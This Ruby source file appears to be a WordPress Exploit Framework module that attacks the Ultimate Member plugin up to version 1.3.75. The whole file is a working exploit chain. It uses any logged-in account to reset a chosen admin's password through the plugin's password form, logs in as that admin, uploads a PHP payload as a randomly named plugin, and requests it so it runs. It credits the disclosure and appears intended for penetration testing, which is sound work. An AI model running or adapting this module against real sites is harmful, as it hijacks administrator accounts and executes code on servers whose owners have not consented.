# frozen_string_literal: true

class Wpxf::Exploit::UltimateMemberShellUpload < Wpxf::Module
  include Wpxf
  include Wpxf::Net::HttpClient
  include Wpxf::WordPress::Login
  include Wpxf::WordPress::Plugin

  def initialize
    super

    update_info(
      name: 'Ultimate Member <= 1.3.75 Shell Upload',
      desc: 'This module exploits a vulnerability that allows users of any level to change '\
            'the password of any user. The module requires you login with an account of any '\
            'level, which will then be used to change the specified admin users\' password. '\
            'The compromised admin account will then be used to store and execute the payload.',
      author: [
        'James Golovich', # Discovery and disclosure
        'rastating'       # WPXF module
      ],
      references: [
        ['WPVDB', '8688'],
        ['URL', 'https://ultimatemember.com/security-release-v1-3-76/']
      ],
      date: 'Dec 08 2016'
    )

    register_options([
      StringOption.new(
        name: 'password_form_path',
        desc: 'The path of the change password form (default is /account/password/)',
        required: true
      ),
      IntegerOption.new(
        name: 'admin_user_id',
        desc: 'The ID of the user to hijack the account of',
        required: true
      ),
      StringOption.new(
        name: 'admin_username',
        desc: 'The username of the admin user to hijack the account of',
        required: true
      )
    ])
  end

  def check
    check_plugin_version_from_readme('ultimate-member', '1.3.76')
  end

  def requires_authentication
    true
  end

  def password_form_url
    normalize_uri(full_uri, datastore['password_form_path'])
  end

  def admin_user_id
    normalized_option_value('admin_user_id')
  end

  def admin_username
    normalized_option_value('admin_username')
  end

  def new_password
    @new_password || @new_password = Utility::Text.rand_alphanumeric(3) +
                                     Utility::Text.rand_alpha(1, :lower) +
                                     Utility::Text.rand_numeric(2) +
                                     Utility::Text.rand_alpha(1, :upper) +
                                     Utility::Text.rand_alphanumeric(3)
  end

  def execute_password_change
    execute_post_request(
      url: password_form_url,
      cookie: session_cookie,
      body: {
        '_um_password_change' => '1',
        'timestamp' => Utility::Text.rand_numeric(3),
        'user_password' => new_password,
        'confirm_user_password' => new_password,
        'user_id' => admin_user_id
      }
    )
  end

  def before_upload
    emit_info "Changing password for #{admin_username} to #{new_password}"
    res = execute_password_change

    unless res.code == 302
      emit_error "Password change returned status #{res.code}", true
      emit_error "Failed to change the password for #{admin_username}"
      return false
    end

    @admin_cookie = authenticate_with_wordpress(admin_username, @new_password)
    return true if @admin_cookie
    false
  end

  def upload_payload
    plugin_name = Utility::Text.rand_alpha(10)
    payload_name = Utility::Text.rand_alpha(10)
    @payload_url = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
    return true if upload_payload_as_plugin(plugin_name, payload_name, @admin_cookie)

    emit_error 'Failed to upload the payload'
    false
  end

  def execute_payload
    res = execute_get_request(url: @payload_url)
    emit_success "Result: #{res.body}" if res && res.code == 200 && !res.body.strip.empty?
  end

  def run
    return false unless super
    return false unless before_upload

    emit_info 'Uploading payload...'
    upload_payload

    emit_info "Executing the payload at #{@payload_url}..."
    execute_payload

    true
  end
end
